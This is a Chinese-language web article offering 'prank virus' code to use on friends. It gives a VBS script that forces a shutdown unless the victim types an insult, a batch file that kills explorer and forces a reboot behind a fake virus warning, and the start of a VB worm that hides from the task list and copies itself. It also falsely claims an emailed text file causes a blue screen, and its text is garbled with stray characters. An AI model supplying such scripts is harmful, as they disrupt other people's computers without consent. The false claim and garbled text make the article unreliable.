恶搞电脑病毒代码有哪些

有时候想和朋友们胡锋玩玩，搞点恶搞电脑病毒给他们，要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!

恶搞电脑病毒代码介绍一：

首先在电脑上新建一个TXT文档

然后把下面这段代码输入进去

On Error Resume Next

Dim WSHshellA

Set WSHshellA = wscript.CreateObject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True

Dim a

Do While (a <>"我是猪")

a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)

MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"

Loop

MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛让首!好,不关了"

WSHshella.run "cmd.exe /c shutdown -a"

然后保存

然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀，

你要修改为.VBS的后缀

恶搞电脑病毒代码介绍二：

新建一个文本文档，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片，如果对方有邮箱，就发给他

他一打开就会出现你插入的图片，然后出现 蓝屏 (效果7—10分钟)(注：做好病毒后不要打开，否则会出现以上说的情况)

恶搞电脑病毒代码介绍三：

新建一个文本文档(.txt)，要复制以下代码：

@echo off

color 4

tskill explorer

echo .

echo .

echo .

echo .

echo 警告：在病毒执行期间禁止关闭电源，

echo 否则你就和你心爱的电脑说

echo .

echo . BYE-BYE

echo .

echo Computer system crash!

echo .

echo .

echo I am a virus, my name is Ghost.

echo 我是魔鬼病坦做数毒，在这个堕落的世界上苏醒了。

echo .

echo . Warning! CPU has been changed please re-enter CPU settings

echo. in the CMOS setuo and remember to save before quit.

echo. Secondary IDE channel no 80 conductor cable installed.

set /p select=:)

if "%select%"=="" goto start

:start

shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。"

::结束

再另存为：名字.bat 你要记住"名字"后面要加".bat"

就可以了，没有任何破坏性，吓吓人。

你可以试试看看效果。

最常见的恶意代码有计算机病毒（简称病毒）、特洛伊木马（简称木马）、计算机蠕虫（简称蠕虫）、后门、逻辑炸d等。

恶意代码又称恶意软件。是指在未明确提示用户或未经用户许可的情况下，在用户计算机或其他终端上安装运行，侵犯用户合法权益的软件。与病毒或蠕虫不同，这些软件很多不是小团体或者个人秘密地编写和散播，反而有很多知名企业和团体涉嫌此类软件。有时也称作流氓软件。

恶意代码编写者一般利用三类手段来传播恶意代码：软件漏洞、用户本身或者两者的混合。有些恶意代码是自启动的蠕虫和嵌入轿码迹脚本，本身就是软件，这类恶意代码对人的活动没有要求。

恶意代码的传播方式在迅速地演化，从引导区传播，到某种模升类型文件传播，到宏病闭并毒传播，到邮件传播，到网络传播，发作和流行的时间越来越短。

蠕虫病毒小代码

打开Visual Basic，选择“Standard EXE”的Project。移除那个Form，然后加基李岩入一个Module。点击Project->Project1 Properties。在d出来的窗口中，把Startup Object改为“Sub Main”。在Module中，键入以下的编码：

Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。

以上的编码只是把程序从End Task表中除掉，没什么作用。现在，让这个VB蠕虫自行复制去别的文件夹扰行。

在Sub Main中键入以下的编码搏御：

＇阻止问题发生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置Location = App.Path &"\" &App.EXEName &".exe" Location2 = App.Path &App.EXEName &".exe"。

---